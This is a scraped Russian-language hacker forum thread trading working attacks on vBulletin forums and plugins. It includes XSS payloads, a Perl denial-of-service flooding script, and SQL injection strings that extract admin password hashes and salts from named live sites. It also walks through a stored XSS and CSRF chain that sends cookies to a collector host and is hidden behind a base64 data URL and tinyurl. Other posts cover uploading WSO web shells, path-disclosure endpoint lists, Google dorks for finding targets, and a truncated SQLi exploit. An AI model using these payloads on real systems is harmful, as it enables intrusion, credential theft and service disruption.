# Version: vBulletin 4.0.0 thru 4.0.2 using YaAS v4.0.0 (This has now been updated too 4.0.1 and does not work on the updated version)
# Tested on: Windows XP SP3, KDE3.5 vBulletin with HTML turned off
# Usage: XSS
# Code:
This will only work if the administrator has opted to set the ?recommend this award? to create a new poll somewhere in the forum (admin area is even better for cookie stealing J)
Again this will not work on the latest update of YaAS but it will work on YaAS 4.0.0
Click awards tab, chose recommend this award. In the member name just type something doesent really matter.
In the body put your xss
<script>alert(‘xss’);</script>
The infected page will be the poll that was created.
If the admin does not have the ?create new poll? enabled this eX.ploit is useless.
# Inj3ct0r.com [2010-05-13]var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._t rackPageview();}catch(err){}
-morfiy-
24.08.2011, 20:22
vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin
vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin
Posted on 04 August 2011
*Advisory Information* Title: vBulletin Cross Site Scripting Vulnerability Date published: 02-08-2011 Vendors contacted: vBulletin team *Vulnerability Information* Class: XSS flaw Vulnerable page: Admin Login Page (admincp) Remotely Exploitable: Yes Locally Exploitable: No *Vulnerability Description* vBulletin is a community forum solution for a wide range of users, including industry leading companies. A XSS vulnerability has been discovered that could allow an attacker to carry out an action impersonating a legal user, or to obtain access to a user's account. This flaw allows unauthorized disclosure and modification of information, and it allows disruption of service. *Vulnerable versions* 4.1.3pl3, 4.1.4pl3 & 4.1.5pl1 *Non-vulnerable Packages* . vBulletin prior to 4.1.3 *Vendor Information, Solutions and Workarounds* vBulletin team has released patches for this flaw and patch is released on 02-08-2011. https://www.vbulletin.com/forum/showthread.php/385133-vBulletin-4.1.3-4.1.4-and-4.1.5-Security-Patch *Credits* This vulnerability was discovered by Muhammad Haroon from Innovative Solutions KSA. OWASP Chapter Lead of Pakistan. haroon [at] live [dot] it *Proof of Concept Code* This is a Cross Site Scripting (XSS) vulnerability within vBulletin community forum solution. In order to exploit this flaw following vector would be used. http://www.example.com/forums/admincp/?">alert('Xss_found_By_M.Haroon') *Report Timeline* 30-07-2011: Notifies the vBulletin team about the vulnerability. 31-07-2011: vBulletin Team ask for technical description about the flaw 31-07-2011: Technical Details sent to vbulletin team 02-08-2011: vBulletin notifies that a fix has been produced and is available to the users on 2nd August 2011 03-08-2011: Vulnerability publicly disclosed.
-morfiy-
26.08.2011, 19:49
Если кому нужно, то вот так можно узнать версию форума:
http://xxxx.xxx/archive/archive.css ну или так:
http://xxxx.xxx/cpstyles/global.css
На самом деле вариантов много
Для этого что то есть?
Ни это - http://www.exploit-db.com/exploits/17314/
Ни это - http://www.exploit-db.com/exploits/17555/
не работает
Проверка на работоспособность.
vBulletin 4.0.6 – Danial Of Service Exploit (redhat)========================================== ==========
vBulletin 4.0.6 – Danial Of Service Exploit (redhat)
================================================== ==
################################################
Author : KnocKout
Thanks : DaiMon,BARCOD3
Contact : knockoutr@msn.com
Tested on : redhat
##############################################
##################vBulletin 4.0.6 – Danial Of Service Exploit for RedHat###############
#!/usr/bin/perl
use IO::Socket;
print "n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+n";
print "+ vBulletin 4.0.6 D.O.S Exploit(FOR redhat) +n";
print "+ Coded by KnocKout +n";
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+nn";
print "Host |without http://www.| ";
chomp($host = <STDIN>);
print "Path |example. /en or / | ";
chomp($pth = <STDIN>);
{
while($x != 999999)
{
$postit = "?t=0000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "nOffline! – We can not Connect To ‘$host’ it May be DoSedn" unless $sock;
print $sock "POST $pth/showthread.php HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Accept-Encoding: gzip, deflaten";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";
print $sock "Connection: Keep-Aliven";
print $sock "Cache-Control: no-cachen";
print $sock "Content-Length: $lrgnn";
print $sock "$postitn";
close($sock);
syswrite STDOUT, "Attack Started ";
$x++;
}
}
# Inj3ct0r.com [2010-09-02]var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._t rackPageview();}catch(err){}
http://inj3ct0r.com/exploits/13952
WTSBugzoff
17.09.2011, 16:00
Уязвимость пашет на vBulletin 4.x.x
Заходим, регистрируемся (не всегда обязательно, если поиск без всяких там капч и вопросов от имени гостя проходит, то рега не впёрлась).
Запускаем лису, плагин liveHTTPHeaders.
Вбиваем в поле поиска любую лабуду, например "4234234" и жмём enter
В liveHTTPHeaders редактируем запрос таким вот образом, дописывая это:
humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
Отправляем запрос, выйдет ошибка Database error
Смотрим исходный код, внизу находим хэш, записываем
Теперь оправляем запрос на вывод соли, вот такой:
humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select salt from user where userid=1 and row(1,1)>(select count(*),concat( (select user.salt) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
Опять ошибка, опять смотрим исходный код, записываем соль.
Всё, осталось только расшифровать.
Иногда таблица не user называется, тогда хэш мы не увидим, а увидим на месте хэша какую-то лабуду, а чуть выше виден будет префикс, вот его и дописываем в наш запрос, и тогда всё бенч будет.
Итак дорогие друзья хотелось бы поговорить с вами о шеллах в данном форуме. Сейчас вышел патч для форума и при попытке зайти на шелл через модуль вылазить сообщение:
Your submission could not be processed because a security token was missing.
If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
Какой-то Forum
Как решить:
1.Можно править шелл (использую WSO 2.5)
2. А можно=> Опера=> форум с шелом=> Исходный код=> После
value='>>'
всавить
accesskey="r" tabindex="1"
=> Нажать применить изменеия=> Вуаля! Рабочий шелл!
ПС может давно известно. Но для меня стало очень актуально и ново данное открыие
ПСС Открыл сам.
satana-fu
30.09.2011, 21:46
Итак дорогие друзья хотелось бы поговорить с вами о шеллах в данном форуме. Сейчас вышел патч для форума и при попытке зайти на шелл через модуль вылазить сообщение:
Your submission could not be processed because a security token was missing.
If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
Какой-то Forum
.
Открою секрет: достаточно очистить кукисы админа и шелл нормально открывается
[3.8.x] Cyb - Advanced Forum Statistics
[4.0.x] VSa - Advanced Forum Statistics
c 4 линейки название немного изменилось. был помидор, стал томат.
FULL PATH DISCLOSURE
(раскрытие путей)
Possible integer overflow
3.8.X
модуль cyb_topstats
$resultsnr_lp= ($resultsnr*2) +1;
4.0.X
Модуль vsa_topstats
$vsacb_resnr_lp= ($vsacb_resnr*2) +1;
PoC for 3.8.X:
POST /misc.php?do=cybstats HTTP/1.1
Host: brutezone.ru
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://brutezone.ru/misc.php?do=cybstats
Cookie: куки. нужна авторизация.
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
securitytoken=1320250782-fda4c39ad1983a01f3b3ce9b94b7350c35099352&resultsnr=999999999999999999999999999999999999
PoC for 4.0.X:
(на 4.1.X не пробовал.)
POST /misc.php?do=vsastats HTTP/1.1
Host: www.html.by
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://www.html.by/misc.php?do=vsastats
Cookie: куки. нужна авторизация.
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
securitytoken=1320251249-9e5b6a09879833baf7af3e58fae882855e302814&vsacb_resnr=59999999999999999999999999999999999999 99999999
tabletkO
27.11.2011, 16:36
Нужна помощь в заливке шелла.
Создаю плагин с кодом шелла wso, пихаю его в faq_complete, но при выполнении какой-то команды или переходе в папку выдаёт:
Your submission could not be processed because a security token was missing.
If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
как можно решить эту проблему? Вариант с system($_GET["cmd"]); не подходит тк все функции для выполнения системных команд отключены.
Простo куки почисти, пройдет)
Osstudio
11.12.2011, 16:46
[CENTER][SIZE="3"][COLOR="DarkOrange"]vBulletin
justonline
25.12.2011, 23:28
Opinion System 1.5.0
Имеется пассивноактивная? xss... после того, как оставили мнение с js при каждом переходе на страницу с мнением будет выполняться этот код, так как он подгружается в строку редактирования. У других отображен не будет. фильтр спец символов.
Для использования достаточно сформировать запрос на добавление мнения и редиректнуть его на страничку с мнениями... для отвода глаз
Дорк
vbulletin inurl: opinion . php
M_script
28.12.2011, 23:48
Для использования достаточно сформировать запрос на добавление мнения и редиректнуть его на страничку с мнениями... для отвода глаз
Не все так просто.
Приведу пример практической эксплуатации бага:
1. Добавление мнения
POST-запрос
opinion.php
do=postvote&postid=[POSTID]&comment=[COMMENT]&value=0
Защита от CSRF - проверка домена рефера. Если в заголовке вообще нет рефера, запрос тоже срабатывает.
a) [POSTID]
opinion.php?do=about&userid=[USERID]
Во время атаки код XSS некоторое время будет храниться на стене одного из пользователей.
Кто именно это будет, не имеет значения ([USERID] - любой существующий пользователь)
b) Автоматическая отправка запроса
Для обхода проверки рефера форма шифруется с помощью протокола data (data:text/html;base64,[форма_отправки_запроса])
2. Отображение мнения на странице
opinion.php?do=about&userid=[USERID]
Для выполнения кода можно использовать "autofocus/onfocus="[JS].
3. Код для проведения атаки
На странице мнений для удаления есть встроенная JS-функция, она и будет использована для уничтожения следов атаки. После вызова функции удаления страница очищается, чтобы избежать зацикливания onfocus.
myGate='http://example.com/?cookie=';// сюда отправляются куки
pBody=document.getElementsByTagName('body')[0];
delFunc= /ChangeText\('do=delete.+?\)/.exec(pBody.innerHTML); // парсим со страницы функц ию удаления мнения
pBody.innerHTML += ''; // отправка данных на гейт, удаление мнения, очистка страницы
Мнения ограничены по длине, поэтому вышеприведенный код необходимо вынести в отдельный скрипт.
a) убираем все лишнее
g='http://example.com/?cookie=';b=document.getElementsByTagName('body')[0];b.innerHTML+='';//
b) шифруем в base64
Zz0naHR0cDovL2V4YW1wbGUuY29tLz9jb29raWU9JztiPWRvY3 VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF07 Yi5pbm5lckhUTUwrPSc8aW1nIHNyYz0iJytnK2VzY2FwZShkb2 N1bWVudC5jb29raWUpKycib25lcnJvcj0iJysvQ2hhbmdlVGV4 dFwoJ2RvPWRlbGV0ZS4rP1wpLy5leGVjKGIuaW5uZXJIVE1MKS snO2RvY3VtZW50LndyaXRlKFwnXCcpIj4nOy8v
c) помещаем код в короткую ссылку используя протокол data и сервис сокращения tinyurl
http://tinyurl.com/c6opgyk
d) подключаем скрипт
newScript=document.createElement('script');
newScript.src='http://tinyurl.com/c6opgyk';
document.getElementsByTagName('body')[0].appendChild(newScript);
e) окончательный вариант комментария
"autofocus/onfocus="s=document.createElement('script');s.src='//tinyurl.com/c6opgyk';document.getElementsByTagName('body')[0].appendChild(s);
4. Последовательное выполнение CSRF и XSS
functionsrcReplace()
{
vari=document.getElementById('ifr');
i.onload='';
i.src='http://site/opinion.php?do=about&userid=[USERID]';
}
5. Полная автоматизация уязвимости
[POSTID] действует относительно недолго, поэтому все вышеописанное будет работать только для одной атаки на конкретного пользователя.
Чтобы полностью все автоматизировать, придется парсить http://site/opinion.php?do=about&userid=[USERID] и динамически генерировать код из пункта 5 на своем сервере, например PHP-скриптом.
p.s.:
Заставить все это работать кроссбраузерно - задача тоже относительно непростая.
Описывать специфику работы различных браузеров с data и другие варианты скрытия реферера здесь не буду, потому что получится слишком много инфы для одного оффтопного сообщения.
justonline
29.12.2011, 16:08
Не все так просто.
Приведу пример практической эксплуатации бага:
................................
мои комплименты. хорошая пища для повышения качества своих знаний, спасибо
Обычно (90%) в нижнем углу написано "Администрирование".
Клацните туда и попадете в админку.
Обычно (90%) в нижнем углу написано "Администрирование".
Клацните туда и попадете в админку.
Поправлю вас, "Управление"
уже попытался, та нихера, видать говнари-админы тупо не сменили пути в исходнике
Может просто футер потерли, в целях безопастности.. а так, зайдите к пользователю в профиль, -> редактировать, откроеться админка (если прописана в config.php), или попробуйте выдать нарушение, откроеться модерка.. (только я не знаю, можно ли с модеркой дальше работать)
Поправлю вас, "Управление"
Может просто футер потерли, в целях безопастности.. а так, зайдите к пользователю в профиль, -> редактировать, откроеться админка (если прописана в config.php), или попробуйте выдать нарушение, откроеться модерка.. (только я не знаю, можно ли с модеркой дальше работать)
как я понял, в конфиге она не прописана Мб её вообще стерли нахер
-morfiy-
27.01.2012, 01:10
зайдите под админом, дождитесь админа и посмотрите пути админки через "кто на сайте"
vBulletin 4.1.10 Full Path Disclosure
[Info]
# Author: linc0ln.dll
# Exploit Title: vBulletin 4.1.10 Full Path Disclosure
# Date: 16/01/2012
# Vendor or Software Link: http://www.vbulletin.com/# Category: WebApp
# Version: 4.1.10
# Contact: linc@tormail.net
# Website: linc6.wordpress.com
# Greetings to: Mario_Vs | fir3 | fight3r | artii2 | pok3 | Upgreydd |VoltroN | amiugly | b00y4k4 |
[Vulnerability]
# Full Path Disclosure:
http://localhost/path/forumdisplay.php?do[]=linc0ln.dll
http://localhost/path/calendar.php?do[]=linc0ln.dll
http://localhost/path/search.php?do[]=linc0ln.dll
demo
https://forum.4game.ru/forumdisplay.php?do[]=linc0ln.dll
M_script
11.02.2012, 09:16
что дает нам это уязвимость?
Написано же "Full Path Disclosure". Раскрытие пути к скрипту на сервере.
АктивнаяXSS
Уязвимы все версий
Требуются права модератора
Идём
Панель модератора -> Управление разделами -> Объявление [Редактировать]
Рабочий пример (проверка на работоспособность)
Эксплуатация обычная
img = new Image(); img.src = "http://sniffer.ru/s.php?"+document.cookie;
Активная
XSS
Уязвимы все версий
Требуются права модератора
Идём
Панель модератора -> Управление разделами -> Объявление [
Редактировать
]
Рабочий пример (проверка на работоспособность)
Эксплуатация обычная
Америку открыл. Это не XSS, а фича. На ачате тоже работает.
Если получить куки админа форума, в админку же всё равно будет повторно требоватся ввод пароля? Это можно обойти?
если админ заходил в admincp до этого, то куки будут с админкой, правда они не долго живут.
4.1.4 есть что-то может народ? 4.1.0-4.1.3 уже прикрыли скуль , может есть что-то в привате под новые версии рассмотрел бы . Пишите в личку!
В 4.1.4 тоже SQL-inj есть. Смотри Patchlevel в vbulletin_global.js. Если там просто "Vbulletin 4.1.4", то радуйся. А если рядом написано "Patchlevel n", то можешь др. способы искать.
pharm_all
28.03.2012, 05:23
vBulletin 4.1.7 => 4.1.10 XSS Vulnerability
Vulnerability:
1.
Send New Private Message >
>
Message text > %22%3E%3Cscript%3Ealert('XSS')%3C/script%3E (encode script UTF-8)
Watch the video: [http://vimeo.com/39049790]
1337day.com/exploits/17824
На одном ip висят 4.1.2, 4.1.3 PL1, 4.1.4.. пытался на всех провести sql-inj но выдает Forbidden.
С чем это может быть связано?
WAF мешает. Попробуй обойти.
stan0009
19.04.2012, 21:11
Да нет вопросов
Поехали
EasyPage SQL-Injection
Google Dork: intext:"vbulletin" inurl:"page.php?p=" [Result: 18 000]
File: /page.php
[...]
$pageid=$_REQUEST['p'];
[...]
$page=$vbulletin->db->query_first("
SELECT *
FROM ".TABLE_PREFIX."easy_pages
WHERE varname = '$pageid'
LIMIT 1
");
[...]
PoC:
http://stavropolregion.com/page.php?p=stavrop%27%20and%201=2%20union%20select %201,2,3,%28select+concat_ws%280x3b,username,passw ord,salt%29+from+user+where+usergroupid=6%20limit% 201%29,5%20--%20f
File: /admincp/easy_pages_admin.php
[...]
if ($_REQUEST['do'] =='edit')
{
$pageid=$_REQUEST['pageid'];
$page=$db->query_first("
SELECT *
FROM ".TABLE_PREFIX."easy_pages
WHERE pageid =$pageid
LIMIT 1
");
[...]
[...]
if ($_REQUEST['do'] =='edit_update'){
$title=addslashes($_POST['title']);
$varname=addslashes($_POST['varname']);
$content=addslashes($_POST['content']);
$vbulletin->db->query_write("UPDATE ".TABLE_PREFIX."easy_pages
SET title = '$tit le',
varname = '$varname',
content = '$content',
table_wrap = '".$_POST['table_wrap'] ."'
WHERE pagei d = ".$_POST[pageid] .";
");
print_cp_redirect('easy_pages_admin.php');
}
[...]
[...]
if ($_REQUEST['do'] =='add_update'){
$title=addslashes($_POST['title']);
$content=addslashes($_POST['content']);
$varname=addslashes($_POST['varname']);
$vbulletin->db->query_write("INSERT INTO ".TABLE_PREFIX."easy_pages
SET t itle = '$title',
varname = '$varname',
content = '$content',
table_wrap = '".$_POST['table_wrap'] ."'
");
print_cp_redirect('easy_pages_admin.php');
}
[...]
[...]
if ($_REQUEST['do'] =='delete_page'){
$vbulletin->db->query_write("DELETE FROM ".TABLE_PREFIX."easy_pages WHERE pageid = '".$_REQUEST['pageid'] ."' LIMIT 1");
print_cp_redirect('easy_pages_admin.php');
}
[...]
Было успешно найдено
(c) Boolean, 0x0000ed.com, 2012.
Было успешно взято
(с) Grabberz.com
In_flames
02.07.2012, 15:26
vBulletin 3.8.x
/arcade.php?act=Arcade&do=stats&comment=a&s_id=1%20AND%20%28SELECT%201%20FROM%20%28SELECT%20 COUNT%28*%29,CONCAT%28%28SELECT%20CONCAT%28email,% 20userid,%200x3a,%20username,%200x3a,%20password,0 x3a,salt%29%20FROM%20user%20WHERE%20id%20=%201%29, FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_ SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29
$ibforums->input['s_id'] =ibp_cleansql($ibforums->input['s_id'] );
Раскрытие путей
http://localhost/search.php?do[]=1337
http://localhost/profile.php?do[]=1337
http://localhost/subscription.php?do[]=1337
Раскрытие путей в последней версии(4.2.0)
Нужны как минимум права модера.
http://localhost/modcp/index.php?do[]=head
https://localhost/modcp/index.php?do[]=home
Заливка шелла в 4.0.7 плюс\минус
Требуется доступ в админку.
Заходим в админку
Продукты и модули -> Сохранить\загрузить модули
Выбираем плагин-шелл (приложен снизу).
Устанавливаем.
Переходим в Коммерческая подписка -> Управление подпиской
http://www.sendspace.com/file/rz0609
Есть что на vBulletin® Version 4.1.12 ?
Author : IrIsT.Ir
Discovered By : Am!r
Home : http://IrIsT.Ir/forum
Software Link : http://www.Vbulletin.com/
Security Risk : High
Version : All Version
Tested on : GNU/Linux Ubuntu - Windows Server - win7
Dork : intext:"Powered By Vbulletin 4.1.12"
Exp.
http://target.com/includes/blog_plugin_useradmin.php?do=usercss&u=[Sql]
vBulletin ChangUonDyU Advanced Statistics SQL Injection Vulnerability
# Exploit Title: vBulletin ChangUonDyU Advanced Statistics - SQL Injection
Vulnerability
# Google Dork: No Dork
# Date: 19/10/2012
# Exploit Author: Juno_okyo
# Vendor Homepage: http://hoiquantinhoc.com
# Software Link:
http://hoiquantinhoc.com/modifications-3-8-x/4468-changuondyu-advanced-statistics-6-0-1-a.html
# Version: vBulletin 3 & 4
# Tested on: Windows 7
# CVE : http://www.vbulletin.com/
#
################################################## ############################################
Vulnerability:
################################################## ############################################
SQL Injection was found in ChangUonDyU Advanced Statistics.
Query on ajax.php
################################################## ############################################
Exploitation:
################################################## ############################################
ajax.php?do=inforum&listforumid=100) UNION SELECT
1,concat_ws(0x7c,user(),database(),version()),3,4, 5,6,7,8,9,10-- -&result=20
or:
ajax.php?do=inforum&listforumid=100) UNION SELECT
1,2,3,4,5,6,concat_ws(0x7c,username,password,salt) ,8,9,10,11 from user
where userid=1-- -&result=20
################################################## ############################################
Ex:
################################################## ############################################
http://server/f/ajax.php?do=inforum&listforumid=100%29%20UNION%20SELECT%201,concat_ws% 280x7c,user%28%29,database%28%29,version%28%29%29, 3,4,5,6,7,8,9,10--%20-&result=20
################################################## ############################################
More Details:
################################################## ############################################
Website: http://junookyo.blogspot.com/
About Exploit:
http://junookyo.blogspot.com/2012/10/vbb-changuondyu-advanced-statistics-sql.html
################################################## ############################################
Great thanks to James, Juno_okyo & J2TeaM, VNHack Group
################################################## ############################################
vBulletin 4.2.0 Full Path Disclosure Vulnerability
The Full Path Disclosure is vBulletin 4.2.0, in forumrunner. With Full Path Disclosure you can get the path to the forum you're in and also (most of the times is the same) cpanel's username.
To see it go to: http://[path]/forumrunner/include/album.php
It works in 90% of the forums.
Example:
http://www.mgcproducts.com/forumrunner/include/album.php http://atheistdiscussion.com/forumrunner/include/album.php http://apolyton.net/forumrunner/include/album.php http://www.romaniancommunity.net/forumrunner/include/album.php http://www.ghosthax.com/forumrunner/include/album.php http://www.reddotcity.net/forumrunner/include/album.php http://www.sevenskins.com/forum/forumrunner/include/album.php http://www.purevb.com/forumrunner/include/album.php http://forum.hackersbrasil.com.br/forumrunner/include/album.php
vBulletin 4.x/5.x multiple Full Puth Disclosure Vuln
/includes/api/commonwhitelist_2.php
/includes/api/commonwhitelist_5.php
/includes/api/commonwhitelist_6.php
/includes/api/1/album_album.php
/includes/api/1/album_editalbum.php
/includes/api/1/album_latest.php
/includes/api/1/album_overview.php
/includes/api/1/album_picture.php
/includes/api/1/album_user.php
/includes/api/1/announcement_edit.php
/includes/api/1/announcement_view.php
/includes/api/1/api_cmscategorylist.php
/includes/api/1/api_cmssectionlist.php
/includes/api/1/api_forumlist.php
/includes/api/1/api_getnewtop.php
/includes/api/1/api_getsecuritytoken.php
/includes/api/1/api_getsessionhash.php
/includes/api/1/api_init.php
/includes/api/1/api_mobilepublisher.php
/includes/api/1/api_usersearch.php
/includes/api/1/blog_blog.php
/includes/api/1/blog_bloglist.php
/includes/api/1/blog_comments.php
/includes/api/1/blog_custompage.php
/includes/api/1/blog_dosendtofriend.php
/includes/api/1/blog_list.php
/includes/api/1/blog_members.php
/includes/api/1/blog_post_comment.php
/includes/api/1/blog_post_editblog.php
/includes/api/1/blog_post_editcomment.php
/includes/api/1/blog_post_edittrackback.php
/includes/api/1/blog_post_newblog.php
/includes/api/1/blog_post_postcomment.php
/includes/api/1/blog_post_updateblog.php
/includes/api/1/blog_sendtofriend.php
/includes/api/1/blog_subscription_entrylist.php
/includes/api/1/blog_subscription_userlist.php
/includes/api/1/blog_usercp_addcat.php
/includes/api/1/blog_usercp_editcat.php
/includes/api/1/blog_usercp_editoptions.php
/includes/api/1/blog_usercp_editprofile.php
/includes/api/1/blog_usercp_modifycat.php
/includes/api/1/blog_usercp_updateprofile.php
/includes/api/1/editpost_editpost.php
/includes/api/1/editpost_updatepost.php
/includes/api/1/forum.php
/includes/api/1/forumdisplay.php
/includes/api/1/inlinemod_domergeposts.php
/includes/api/1/list.php
/includes/api/1/login_lostpw.php
/includes/api/1/member.php
/includes/api/1/memberlist_search.php
/includes/api/1/misc_showattachments.php
/includes/api/1/misc_whoposted.php
/includes/api/1/newreply_newreply.php
/includes/api/1/newreply_postreply.php
/includes/api/1/newthread_postthread.php
/includes/api/1/newthread_newthread.php
/includes/api/1/poll_newpoll.php
/includes/api/1/poll_polledit.php
/includes/api/1/poll_showresults.php
/includes/api/1/private_editfolders.php
/includes/api/1/private_insertpm.php
/includes/api/1/private_messagelist.php
/includes/api/1/private_newpm.php
/includes/api/1/private_showpm.php
/includes/api/1/private_trackpm.php
/includes/api/1/profile_editattachments.php
/includes/api/1/profile_editoptions.php
/includes/api/1/profile_editprofile.php
/includes/api/1/register_addmember.php
/includes/api/1/register_checkdate.php
/includes/api/1/search_process.php
/includes/api/1/search_showresults.php
/includes/api/1/showthread.php
/includes/api/1/subscription_addsubscription.php
/includes/api/1/subscription_editfolders.php
/includes/api/1/subscription_viewsubscription.php
/includes/api/1/threadtag_managetags.php
/includes/api/2/album_picture.php
/includes/api/2/api_blogcategorylist.php
/includes/api/2/blog_blog.php
/includes/api/2/blog_bloglist.php
/includes/api/2/blog_list.php
/includes/api/2/blog_subscription_entrylist.php
/includes/api/2/blog_subscription_userlist.php
/includes/api/2/blog_usercp_groups.php
/includes/api/2/content.php
/includes/api/2/editpost_editpost.php
/includes/api/2/forumdisplay.php
/includes/api/2/member.php
/includes/api/2/newreply_newreply.php
/includes/api/2/forum.php
/includes/api/2/poll_newpoll.php
/includes/api/2/poll_polledit.php
/includes/api/2/poll_showresults.php
/includes/api/2/private_messagelist.php
/includes/api/2/private_trackpm.php
/includes/api/2/profile_editattachments.php
/includes/api/2/search_showresults.php
/includes/api/2/showthread.php
/includes/api/3/api_gotonewpost.php
/includes/api/4/album_user.php
/includes/api/4/api_forumlist.php
/includes/api/4/api_getnewtop.php
/includes/api/4/breadcrumbs_create.php
/includes/api/4/facebook_getforumid.php
/includes/api/4/facebook_getnewforummembers.php
/includes/api/4/get_vbfromfacebook.php
/includes/api/4/login_facebook.php
/includes/api/4/newreply_postreply.php
/includes/api/4/newthread_postthread.php
/includes/api/4/register.php
/includes/api/4/register_addmember.php
/includes/api/4/search_findusers.php
/includes/api/4/subscription_viewsubscription.php
/includes/api/5/api_init.php
/includes/api/6/api_getnewtop.php
/includes/api/6/api_gotonewpost.php
/includes/api/6/content.php
/includes/api/6/member.php
/includes/api/6/newthread_newthread.php
/includes/block/blogentries.php
/includes/block/cmsarticles.php
/includes/block/html.php
/includes/block/newposts.php
/includes/block/sgdiscussions.php
/includes/block/tagcloud.php
/includes/block/threads.php
/forumrunner/include/subscriptions.php
/forumrunner/include/search_forum.php
/forumrunner/include/profile.php
/forumrunner/include/post.php
/forumrunner/include/pms.php
/forumrunner/include/online.php
/forumrunner/include/moderation.php
/forumrunner/include/misc.php
/forumrunner/include/login.php
/forumrunner/include/get_thread.php
/forumrunner/include/get_forum.php
/forumrunner/include/cms.php
/forumrunner/include/attach.php
/forumrunner/include/announcement.php
/forumrunner/include/album.php
/forumrunner/support/vbulletin_methods.php
/forumrunner/support/stringparser_bbcode.class.php
/forumrunner/support/utils.php
/forumrunner/support/other_methods.php
/packages/skimlinks/hooks/postbit_display_complete.php
/packages/skimlinks/hooks/showthread_complete.php
/packages/skimlinks/hooks/userdata_start.php
//...Leaked bY beBoss..//
er"]
po[w]er said:
Нужна помощь в заливке шелла.
Создаю плагин с кодом шелла wso, пихаю его в faq_complete, но при выполнении какой-то команды или переходе в папку выдаёт:
Your submission could not be processed because a security token was missing.
If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.
как можно решить эту проблему? Вариант с system($_GET["cmd"]); не подходит тк все функции для выполнения системных команд отключены.
Сталкивался с такой фигнёй. Выкрутился тем, что изменил плагин на один из индексных при заходе на форум, а в качестве php кода указал не получение команд через GPC, а копирование файла с удалённого хоста в нужную папку.
Есть что на vBulletin® Version 3.8.7 ?
На ветке vBulletin 3.8.x присутствует SQL инъекция в файле eggavatar.php, он находится в корневой директории сайта. Если при обращении к site/eggavatar.php сайт выдал не 404 Not Found, то воспользуйтесь сплоитом:
[PHP]
[COLOR="#0000BB"]#!/usr/bin/env perl
useLWP::UserAgent;
sub banner{
print"###################################\n";
print"############ DSecurity ############\n";
print"###################################\n";
print"# Email:dsecurity.vn[at]gmail.com #\n";
print"###################################\n";
}
if(@ARGVnew();
$ua->agent("DSecurity");
$ua->cookie_jar({});
sub login(@){
my $username=shift;
my $password=shift;
my $req=HTTP::Request->new(POST=>$ARGV[0].'/login.php?do=login');
$req->content_type('application/x-www-form-urlencoded');
$req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login&vb_login_md5password=&vb_login_md5password_utf=");
my $res=$ua->request($req);
}
sub v_request{
#Declare
$print=$_[0];
$select=$_[1];
$from=$_[2];
$where=$_[3];
$limit=$_[4];
$sleep=$ARGV[4];
if ($from eq'') {$from='information_sch ema.tables';}
if ($where eq'') {$where='1';}
if ($limit eq'') {$limit='0';}
if ($sleep eq'') {$sleep='10';}
# Create a request
my $req=HTTP::Request->new(POST=>$ARGV[0].'/eggavatar.php');
$req->content_type('application/x-www-form-urlencoded');
